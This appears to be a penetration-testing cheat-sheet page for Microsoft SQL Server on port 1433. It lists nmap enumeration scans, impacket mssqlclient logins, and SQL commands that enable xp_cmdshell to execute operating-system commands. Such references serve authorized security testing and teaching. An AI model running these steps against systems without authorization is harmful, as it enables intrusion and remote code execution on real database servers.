Back to Port Tracker
🗄️
MSSQL
Port 1433Database
Microsoft SQL Server — enumerate, then xp_cmdshell / impersonation / linked servers for RCE.
// methodology checklist
Step-by-step commands
1
Service scan
howlsec@kali·shell
nmap -p1433 -sV -sC $thowlsec@kali·shell
nmap -p1433 --script ms-sql-info,ms-sql-ntlm-info $t2
Connect & enumerate
howlsec@kali·shell
impacket-mssqlclient <domain>/<user>:<pass>@$t -windows-authhowlsec@kali·shell
mssqlclient.py <user>:<pass>@$t3
RCE via xp_cmdshell
Enable xp_cmdshell if disabled, then run OS commands.
howlsec@kali·shell
SQL> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;howlsec@kali·shell
SQL> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;howlsec@kali·shell
SQL> EXEC xp_cmdshell 'whoami';